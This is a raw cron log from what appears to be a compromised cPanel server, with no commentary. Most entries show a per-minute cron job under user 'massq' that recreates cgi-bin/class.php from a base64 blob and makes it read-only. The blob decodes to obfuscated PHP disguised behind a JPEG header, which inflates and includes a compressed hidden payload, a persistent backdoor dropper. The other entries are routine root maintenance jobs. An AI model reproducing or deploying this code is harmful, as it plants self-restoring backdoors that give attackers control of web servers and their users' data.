Nov  9 13:14:01 server CROND[16800]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:15:01 server CROND[17653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:15:01 server CROND[17654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:15:01 server CROND[17655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:16:01 server CROND[18470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:17:01 server CROND[19305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:18:01 server CROND[20103]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:19:01 server CROND[20704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:20:01 server CROND[21531]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 13:20:01 server CROND[21532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:20:01 server CROND[21534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:20:01 server CROND[21535]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 13:20:01 server CROND[21533]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:21:01 server CROND[22400]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:22:01 server CROND[23269]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:23:01 server CROND[24096]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:24:01 server CROND[24930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:25:01 server CROND[25770]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:25:01 server CROND[25771]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 13:25:01 server CROND[25772]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 13:26:01 server CROND[26664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 13:27:01 server CROND[27578]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
